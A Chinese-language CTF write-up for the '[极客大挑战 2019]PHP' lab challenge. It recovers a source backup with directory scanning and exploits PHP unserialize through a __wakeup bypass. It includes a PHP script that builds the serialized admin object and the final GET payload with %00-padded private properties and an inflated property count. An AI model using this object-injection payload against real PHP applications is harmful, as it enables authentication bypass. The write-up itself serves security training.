[极客大挑战 2019]PHP

打开靶机
在这里插入图片描述
我们的右键是不能用的。我们按f12打开查看器,
在这里插入图片描述
把蓝色那一部分删掉,再右键查看源代码。
在这里插入图片描述
好,没有什么有用的信息。既然他提示我们备份文件,那我们就dirsearch扫描一下目录。
请添加图片描述
可以看到有一个www.zip。我们访问下载。
在这里插入图片描述
可以看到有一个flag.php。很可惜是假的。我们打开index.php。
在这里插入图片描述
发现里面有一串php代码。是一个反序列化函数。还说包含了一个class.php。我们查看class.php
在这里插入图片描述
大概意思是说以get方式上传一个select,内容是password=100,username=admin的反序列化。当然还得绕过 __wakeup()函数。


<?php

class Name
{
    private $username;
    private $password;

    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin',100);
var_dump(serialize($a));

?>

这是我从别人那里偷了一段代码。下次用的时候改一下数值就行。我们找一个php在线网站跑一下。
在这里插入图片描述
就是这样:O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
当成员属性数目大于真是数目时会绕过 __wakeup()函数。也就是说把Name后面的2改为一个大于2的值。这里我们改为3。、
在这里插入图片描述
然后我们发现不行。然后看了一下才知道用序列化加%00\n在序列化时,Public属性序列化后格式:成员名,Private属性序列化后格式:%00类名%00成员名,Protected属性序列化后的格式:%00*%00成员名。\n但是在对序列化后的数据直接进行复制时会丢失 %00 所以我们对其手动补全,并更改成员属性数目使其大于实际数目那我们就加%00

select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

在这里插入图片描述
出来了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值